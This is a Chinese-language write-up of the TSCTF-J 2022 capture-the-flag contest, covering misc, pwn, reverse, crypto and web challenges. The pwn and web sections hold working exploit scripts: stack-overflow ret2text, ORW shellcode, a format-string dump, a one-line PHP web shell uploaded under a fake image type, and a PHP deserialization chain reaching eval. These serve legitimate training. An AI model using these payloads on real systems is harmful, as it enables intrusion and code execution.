TSCTF-J 2022 writeup

题目文件&官方wp

Misc

北邮人之声

听录音判断倒放,反转后为无线电语音字母表,得到FLAG

Just_Play

PART1&3解包能出,正常玩也能出;PART2在迷宫地图中;PART4一直不打鼠鼠,过一会鼠鼠就开始说一些莫名其妙听不懂的英语就是

Strange_Base64

读代码,按utf-8解码后再按同样编码(似乎也是utf-8)发送,nc默认gbk好像不行

1
2
3
4
5
6
7
8
9
from pwn import *
import base64
p=connect('121.5.62.30',10005)
context.log_level='debug'
for i in range(777):
p.recvuntil(b"base64(???) = b'")
d=p.recvuntil(b"'")
d=d[:len(d)-1]
p.sendline(base64.b64decode(d).decode('utf-8').encode())

Pwn

checkin

利用buf的读取溢出覆盖栈上ch[]为BUPTBUPT,payload:

1
p.send(b'a'*32+b'BUPTBUPT')

ヰ世界転生

拿points,判断把分数当做int8判断(即只判断最低字节大小)

买Custom Effect输入skill length将无符号数作为有符号数判断,传一个-1即可

读取skill名时显然存在buffer overflow,构造ret2text

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context(arch='i386',os='linux',log_level='debug')
#p=process('./pwn')
p=connect('10.21.162.184',6657)
elf=ELF('./pwn')
for i in range(216):
p.recvuntil(b'Choice: > ')
p.sendline(b'5')
p.recvuntil(b'Choice: > ')
p.sendline(b'0')
p.recvuntil(b'Choice: > ')
p.sendline(b'6')
p.recvuntil(b'length: ')
p.sendline(b'-1')
p.recvuntil(b'SKILL: \n')
p.send(b'a'*(51+24)+p32(elf.symbols['goddess_b4ckd00r']))

ret2shellcode

主函数在固定地址0x233000处申请空间存储buf。将shellcode读至buf处,再利用栈上数组溢出构造ret2shellcode。seccomp-tools发现不能execve,使用orw的思路。exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=connect('10.21.162.184',6660)
shellcode = asm('''
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
''')
#p=process('./ret2shellcode')
input()
p.recvuntil(b'letter:\n')
p.send(shellcode)
p.recvuntil(b'you!\n')
p.send(b'a'*56+p64(0x233000))

Another_Checkin_Pwn

fmtstr盲打,dump:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
from Crypto.Util.number import *
context(os='linux',arch='amd64',log_level='debug')
p=connect('10.21.224.111',4090)
ptr=0x400000
f=open('fmtdump','wb')
while ptr<=0x403000:
padding=b'FJKS'
p.sendline(b'%8$s'+padding+b'\x00'*8+p64(ptr))
ending=padding
d=p.recvuntil(ending)
d=d[:len(d)-len(ending)]
f.write(d+b'\x00')
ptr+=len(d)+1

输入密码getshell

ASCII_ART

主函数读到buf数组有溢出,然后直接执行buf[2]处存储的地址对应的函数。搜索字符串发现后门函数,由于程序开启pie使用partial overwritting反复尝试getshell,payload如下

1
p.send(b'a'*0x10+b'\x30\xb3')

Easy Shellcode

非预期解:x32 abi orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
lea rax,[rip]
add rax,0x200
mov rsp,rax ; 因为rsp被清空,先将栈迁移至可读写位置

mov eax,0x67616c66 ; 'flag'
push rax
mov rdi,rsp
xor rsi,rsi
mov rax,0x40000002 ; open
syscall

mov rdi,rax
mov rax,rsp
add rax,0x100
mov rsi,rax
mov rdx,0x40
mov rax,0x40000000 ; read
syscall

mov edi,2
mov rax,0x40000001 ; write
syscall

Reverse

baby_upx

附件更改前:

固定基址后x64手脱壳,找到OEP:0x14001AB80

经分析,程序逻辑为encrypt输入字符

1
2
3
__int64 __fastcall encrypt(char a1){
return (4 * (~a1 & 0x5B)) | (2 * (a1 ^ 5)) | ((a1 & 0x15) >> 2) | (8 * (a1 & 0x20u));
}

,因为可能有多解,程序在比较无误后,再通过MD5检验flag正确性。

利用爆破得到所有可能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdio.h>
#include <stdint.h>
int encrypt(unsigned char a1){
return (4 * (~a1 & 0x5B)) | (2 * (a1 ^ 5)) | ((a1 & 0x15) >> 2) | (8 * (a1 & 0x20u));
}
int main()
{
unsigned char rawdata[] =
{
0xAF, 0x00, 0x00, 0x00, 0xAC, 0x00, 0x00, 0x00, 0xEC, 0x00,
0x00, 0x00, 0xAF, 0x00, 0x00, 0x00, 0xE7, 0x00, 0x00, 0x00,
0x59, 0x01, 0x00, 0x00, 0xDE, 0x00, 0x00, 0x00, 0xFC, 0x01,
0x00, 0x00, 0x6F, 0x01, 0x00, 0x00, 0xED, 0x01, 0x00, 0x00,
0xEC, 0x01, 0x00, 0x00, 0xDE, 0x01, 0x00, 0x00, 0xB5, 0x00,
0x00, 0x00, 0x6F, 0x01, 0x00, 0x00, 0xB5, 0x00, 0x00, 0x00,
0xEE, 0x00, 0x00, 0x00, 0xE8, 0x00, 0x00, 0x00, 0xEE, 0x00,
0x00, 0x00, 0xFC, 0x01, 0x00, 0x00, 0xB5, 0x00, 0x00, 0x00,
0xAD, 0x00, 0x00, 0x00, 0xAE, 0x00, 0x00, 0x00, 0xFE, 0x01,
0x00, 0x00, 0xB5, 0x00, 0x00, 0x00, 0xEE, 0x01, 0x00, 0x00,
0xEE, 0x01, 0x00, 0x00, 0x6E, 0x01, 0x00, 0x00, 0x7E, 0x01,
0x00, 0x00, 0xDF, 0x00, 0x00, 0x00, 0x6C, 0x01, 0x00, 0x00,
0xD9, 0x01, 0x00, 0x00, 0xFD, 0x01, 0x00, 0x00
};
uint32_t* data = (uint32_t*)rawdata;
for(int i=0;i<32;i++){
for(int j=' ';j<='}';j++){
if(encrypt(j)==data[i]) printf("%c",j);
}
printf(" ");
}
return 0;
}
//T QS C T F - HJ y{ $4 u cqs hj _ $4 _ @B A @B y{ _ U PR xz _ `bpr `bpr "02 8: L #13 m }
//TSCTF-J{$uch_4_BABy_UPx_pr08L3m}

因为flag为自然语言,可直接目测,不需要md5校验。

附件更改后:

做法类似,不过Scylla导入表里面找错了一个,右键删除就行

baby_key

找key

对于每一位,有个数组将字符串index对应到key的index变化上,不同字符对于对应字节的增减不同,观察得key:sO*h4hdsOm3!!sg!

解密

程序之后用key做tea加密,DELTA值很良心地没换,很有特征,然后将出来的字节看作DWORD数据并调换大小端序。

解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include<stdio.h>
#include<stdint.h>
void decrypt (uint32_t* v, uint32_t* k) {

uint32_t delta=0x9e3779b9; /* a key schedule constant */
uint32_t v0=v[0], v1=v[1], sum=32*delta, i; /* set up */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i<32; i++) { /* basic cycle start */
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum -= delta;
} /* end cycle */
v[0]=v0; v[1]=v1;
}
int main(){
uint32_t key[4]={0x682A4F73, 0x73646834, 0x21336D4F, 0x21677321};
unsigned char encodedData[48] =
{
0x08, 0x14, 0x07, 0x57, 0x8B, 0x59, 0xAE, 0x23, 0xED, 0xF5,
0xDC, 0x24, 0x76, 0xAB, 0xA7, 0x04, 0x4E, 0xC7, 0xE7, 0xC2,
0x66, 0x45, 0xD5, 0x01, 0x9F, 0xA0, 0x83, 0x14, 0xDC, 0x5D,
0x0E, 0xC3, 0x62, 0x07, 0x1B, 0x0D, 0xD9, 0x0B, 0xCB, 0x3F,
0xD4, 0x25, 0x26, 0x29, 0xBE, 0x1C, 0x20, 0x06
};
for(int i=0;i<48;i+=4){
unsigned char temp;
temp=encodedData[i];
encodedData[i]=encodedData[i+3];
encodedData[i+3]=temp;
temp=encodedData[i+2];
encodedData[i+2]=encodedData[i+1];
encodedData[i+1]=temp;
}
uint32_t* v=(uint32_t*)encodedData;
for(int i=10;i>=0;i--)
decrypt(&v[i],key);
printf("%s",encodedData);
return 0;
}

baby_xor

水题,动调拿data,直接异或

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include<stdio.h>
#include<stdint.h>
int main(){
unsigned char rawdata[] =
{
0x12, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x07, 0x00,
0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
0x6E, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x3A, 0x00,
0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x7C, 0x00, 0x00, 0x00,
0x20, 0x00, 0x00, 0x00, 0x0E, 0x00, 0x00, 0x00, 0x7A, 0x00,
0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x7B, 0x00, 0x00, 0x00,
0x16, 0x00, 0x00, 0x00, 0x64, 0x00, 0x00, 0x00, 0x08, 0x00,
0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00,
0x04, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, 0x22, 0x00,
0x00, 0x00, 0x75, 0x00, 0x00, 0x00, 0x1B, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x00, 0x00, 0x12, 0x00,
0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
0x69, 0x00, 0x00, 0x00, 0x2A, 0x00, 0x00, 0x00, 0x39, 0x00,
0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x2B, 0x00, 0x00, 0x00,
0x55, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x3C, 0x00,
0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x53, 0x00, 0x00, 0x00,
0x13, 0x00, 0x00, 0x00
};
uint32_t* data=(uint32_t*)rawdata;
for(int i=0;i<41;i++){
data[i]^=0x46^i;
printf("%c",data[i]);
}
return 0;
}

byte_code

百度一下指令发现是py的bytecode给dis.dis()出来的产物,py的(伪?)汇编代码还挺好读的,这不比x86强多了?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
a=[114,101,118,101,114,115,101,95,116,104,101,95,98,121,116,101]
b=[99,111,100,101,95,116,111,95,103,101,116,95,102,108,97,103]
e=[80,115,193,24,226,237,202,212,126,46,205,208,215,135,228,199,63,159,117,52,254,247,0,133,163,248,47,115,109,248,236,68]
pos=[9,6,15,10,1,0,11,7,4,12,5,3,8,2,14,13]
d=[335833164,1155265242,627920619,1951749419,1931742276,856821608,489891514,366025591,1256805508,1106091325,128288025,234430359,314915121,249627427,207058976,1573143998,1443233295,245654538,1628003955,220633541,1412601456,1029130440,1556565611,1644777223,853364248,58316711,734735924,1745226113,1441619500,1426836945,500084794,1534413607]
c=a+b

for i in range(31):
print(chr(c[i]),end='')
print(chr(c[31]))
for i in range(16):
a[i]=(a[i]+d[i])^b[pos[i]]
for i in range(16):
b[i]^=a[pos[i]]
c=a+b
for i in range(32):
c[i]=(c[i]*d[i])%256
c[i]^=e[i]
print(chr(c[i]),end='')

Crypto

T0ni’s_RSA

flag1给定p,q,e,c直接解密;flag2小素数使用factordb分解解密;flag3两素数接近使用yafu分解解密;flag4小指数将c开e次方解密

锟斤拷

摩斯密码,锟斤拷为.,烫烫烫为-,解码后base32再解码出flag

Two Keys

key1

通过卡特兰数的hint出e=58786//2,正常RSA解密出

key2

1
./hashcat.exe -m 1400 -a 3 2b87ea3983c646fcecc476f6930c18bf75935cab40471930f560bef2f370b82e

拿到KEY=vmefifty,正常DES解密出

Web

词超人

正确答案存在每个单词div下的class “en”里,稍微改动一下页面js就能出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function submit(){
const answerArray=[];
let divArray=document.getElementsByClassName('chunk')
for(div of divArray){
answerArray.push({id:div.id,answer:div.getElementsByClassName('en')[0].innerHTML}) //这里改了
}
const xhr = new XMLHttpRequest();
const url = "/submit";
xhr.open("POST", url, true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onreadystatechange = function () {
if (xhr.readyState === 4 && xhr.status === 200) {
alert(xhr.responseText)
}
};
xhr.send(JSON.stringify(answerArray));
}

真真历险记

根据结尾提示CyberSpace Security看CSS,part1,2,3加起来是一个混淆过的js,扔进浏览器console里就出了

寒秋送温暖

题目没给上传的按钮,手动往里插一个

1
2
3
4
<form id="upload-form" action="index.php" method="post" enctype="multipart/form-data" >
   <input type="file" id="upload" name="file" /> <br />
   <input type="submit" value="Upload" />
</form>

用一句话木马,题目过滤了eval就直接system

1
<?php echo system($_GET['a']);?>

设Content-Type: image/jpg,拿到上传文件路径后直接顺着找flag

payload:cat ../../../flag.sh

can can need picture

参数f是两次base64编码过的,同样方法传入flag.php,得到提示hack.php和class.php。先找md5碰撞,再构造rop链,最后无参rce。payload:

1
2
hack.php?a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&pop=O%3A5%3A%22apple%22%3A2%3A%7Bs%3A3%3A%22var%22%3BO%3A6%3A%22banana%22%3A2%3A%7Bs%3A3%3A%22str%22%3Br%3A2%3Bs%3A2%3A%22v1%22%3BO%3A5%3A%22apple%22%3A2%3A%7Bs%3A3%3A%22var%22%3BN%3Bs%3A2%3A%22m1%22%3BO%3A4%3A%22find%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00code%22%3Bs%3A36%3A%22eval%28end%28apache_request_headers%28%29%29%29%3B%22%3B%7D%7D%7Ds%3A2%3A%22m1%22%3BN%3B%7D
Content-Type: system('cat /zoodflagishere');

生成代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class apple
{
public $var;
public $m1;
}
class banana
{
public $str;
public $v1;
}
class find
{
protected $code="eval(end(apache_request_headers()));";
}
//a::wakeup->b::toString->b::invoke->a::call->f::get
$a=new apple();
$b=new banana();
$d=new apple();
$e=new find();
$a->var=$b;
$b->str=$b;
$b->v1=$d;
$d->m1=$e;
echo urlencode(serialize($a));
?>

Abstract

Abstract_culture

曾经(Yesterday)沧海(emoji)难(emoji)为水(emoji),除却巫山(emoji)不(emoji)是云(emoji)

EasterEgg

一眼数组,1376666,牛的

nc me

cat flag

Abstract_culture_revenge

莫(蛤蟆)愁(丑牛)前(kilo)路(录制?)无(五点)知(知识)己(鸡尾酒)

天(天气)下(下弦月)谁(水瓶座)人(不懂)不(占卜)识(箭矢)君(菌)

好用的网站:http://m.gushiju.net/ju/guanyu/%E6%84%81